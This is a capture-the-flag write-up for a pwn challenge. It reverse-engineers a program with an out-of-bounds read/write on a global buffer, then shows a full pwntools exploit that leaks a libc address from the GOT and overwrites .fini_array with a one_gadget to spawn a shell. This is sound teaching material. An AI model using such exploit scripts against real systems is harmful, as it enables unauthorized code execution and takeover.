📃 Challenge Description

A tale of two functions, two operations, and a flag. nc challenges.ctfd.io 30250

🔎 Research

We are given a program that asks us where we want to read and gives us the value of this address in memory. Next, it asks where we want to write and what we want to write. Then, our 8 bytes values are written to the specified address.

Let’s reverse engineer the main function and see what it does:

		[...]
		[...]
		1194:	e8 b7 fe ff ff       	call   1050 <__isoc99_scanf@plt>  
    1199:	48 8b 45 f0          	mov    rax,QWORD PTR [rbp-0x10]  # rax = input_decimal
    119d:	48 8d 14 c5 00 00 00 	lea    rdx,[rax*8+0x0]           # rdx = rax*8
    11a4:	00 
    11a5:	48 8d 05 2c 22 00 00 	lea    rax,[rip+0x222c]          # rax = (address) <var_buf_struct>
    11ac:	48 8b 04 02          	mov    rax,QWORD PTR [rdx+rax*1] # rax = input_decimal-te byte from <var_buf_struct>
    11b0:	48 89 c6             	mov    rsi,rax                   # rsi = rax
    11b3:	48 8d 3d 6a 0e 00 00 	lea    rdi,[rip+0xe6a]        # 2024 <_IO_stdin_used+0x24>
    11ba:	b8 00 00 00 00       	mov    eax,0x0
    11bf:	e8 7c fe ff ff       	call   1040 <printf@plt>         # printf(input_decimalte-te byte from <var_buf_dtruct>)
    11c4:	48 8d 3d 5e 0e 00 00 	lea    rdi,[rip+0xe5e]        # 2029 <_IO_stdin_used+0x29>
    11cb:	b8 00 00 00 00       	mov    eax,0x0                #
    11d0:	e8 6b fe ff ff       	call   1040 <printf@plt>      # where want to write
    11d5:	48 8d 45 f0          	lea    rax,[rbp-0x10]         #
    11d9:	48 89 c6             	mov    rsi,rax                # rsi = (addr)<input_var>
    11dc:	48 8d 3d 3d 0e 00 00 	lea    rdi,[rip+0xe3d]        # 2020 <_IO_stdin_used+0x20>
    11e3:	b8 00 00 00 00       	mov    eax,0x0
    11e8:	e8 63 fe ff ff       	call   1050 <__isoc99_scanf@plt>
    11ed:	48 8d 3d 52 0e 00 00 	lea    rdi,[rip+0xe52]        # 2046 <_IO_stdin_used+0x46>
    11f4:	b8 00 00 00 00       	mov    eax,0x0
    11f9:	e8 42 fe ff ff       	call   1040 <printf@plt>      # what want to write
    11fe:	48 8b 45 f0          	mov    rax,QWORD PTR [rbp-0x10]# rax = input_decimal
    1202:	48 8d 14 c5 00 00 00 	lea    rdx,[rax*8+0x0]         # rdx = rax*8
    1209:	00 
    120a:	48 8d 05 c7 21 00 00 	lea    rax,[rip+0x21c7]        # 33d8 <buf>
    1211:	48 01 d0             	add    rax,rdx                 #
    1214:	48 89 c6             	mov    rsi,rax                 # rsi = <var_buf_struct>+input_decimal-te bytesta 
    1217:	48 8d 3d 44 0e 00 00 	lea    rdi,[rip+0xe44]        # 2062 <_IO_stdin_used+0x62>
    121e:	b8 00 00 00 00       	mov    eax,0x0
    1223:	e8 28 fe ff ff       	call   1050 <__isoc99_scanf@plt> #scanf(?, <var_buf_struct>+input_decimal-te byte )
    1228:	b8 00 00 00 00       	mov    eax,0x0
    122d:	48 8b 4d f8          	mov    rcx,QWORD PTR [rbp-0x8]
    1231:	64 48 2b 0c 25 28 00 	sub    rcx,QWORD PTR fs:0x28
    1238:	00 00 
    123a:	74 05                	je     1241 <main+0xe8>
    123c:	e8 ef fd ff ff       	call   1030 <__stack_chk_fail@plt>
    1241:	c9                   	leave  
    1242:	c3                   	ret

So from this we can construct the following C-Code the program will probably look like:

void* buf[n]; // in data segment

int main(){
	long int number;
	printf("Where do you want to read?");
	scanf("%ld", number); //long signed int decimal (4bytes)
	printf("%zx\n", buf[number]); // size_t hexadecimal (8bytes)
	
	printf("Where do you want to write?");
	scanf("%ld", number); // long signed int decimal (4bytes)
	
	printf("What do you want to write?");
	scanf("%zu", buf[number]); // size_t decimal (8bytes)s
}

📝 Vulnerability Description

As we can supply a long signed int to where we want to read, we can read in negative direction too. A quick view at where GOT is located shows us, that GOT is almost completely next to buf. So we can read out the printf address from GOT as this is already resolved by first call to printf. So we can leak a libc_address. Another structure we can reach from buf is the .fini_array section. This structure contains pointers to functions that will be called when exiting the program and the global dtors are proceeded. Thus allowing us to overwrite a .fini_array entry with a value we can control and ideally leads to a shell.

🧠 Exploit Development

The distance between buf and printf GOT entry is 40 bytes, so we need to access -40/8=-5 entry from buf: buf[-5].

With the printf address we can easily calculate libc_base by looking up the printf_offset in the libc_database:

printf_offset = 0x64e80
libc_base = printf_addr - printf_offset

Next, we use the tool called one_gadget to receive a gadget that spawns a shell simply by calling it.

one_gadget_output

We choose the gadget at address 0x4f322.

Finally, we have to find an overwrite location which value will be called after we have overwritten it. The .fini_array section contains such pointers to functions that will be called at exit of the program.

The .fini_array section is located -600 bytes from buf, so the input where we want to write is -600/8=-75 .

🔐 Exploit Program

from pwn import *
import binascii

printf_offset = 0x64e80
one_gadget_addr = 0x4f322

fini_array_offset = 0x214a

p = remote("challenges.ctfd.io", 30250)

pause()

p.recvline() # Where do you want to read?
p.sendline("-5") # printf_addr
printf_addr = int.from_bytes(binascii.a2b_hex(p.recvline(keepends=False)), "big")
print("printf_addr: {0}".format(hex(printf_addr)))
libc_base = printf_addr - printf_offset
print("libc_base: {0}".format(hex(libc_base)))
one_gadget = libc_base + one_gadget_addr
print("one_gadget: {0}".format(hex(one_gadget)))

p.recvline() # Where do you want to write?
p.sendline("-75") #fini_array_start
p.recvline() # Waht do you want to write?
p.sendline(str(one_gadget))

p.interactive()

💥 Run Exploit

successfull_exploit

FLAG: nactf{a_l0n3ly_dt0r_4nd_a_sh3ll_tUIlF0jxW5aMXoGo}

🗄️ Summary / Difficulties

The main difficulty in this challenge is that we don’t have any obvious options to overwrite our gadget with so we can call our gadget. There the .fini_array section is a good place to place our gadget address. The address of the .fini_array start can be found by inspecting with readelf --sections <binary>.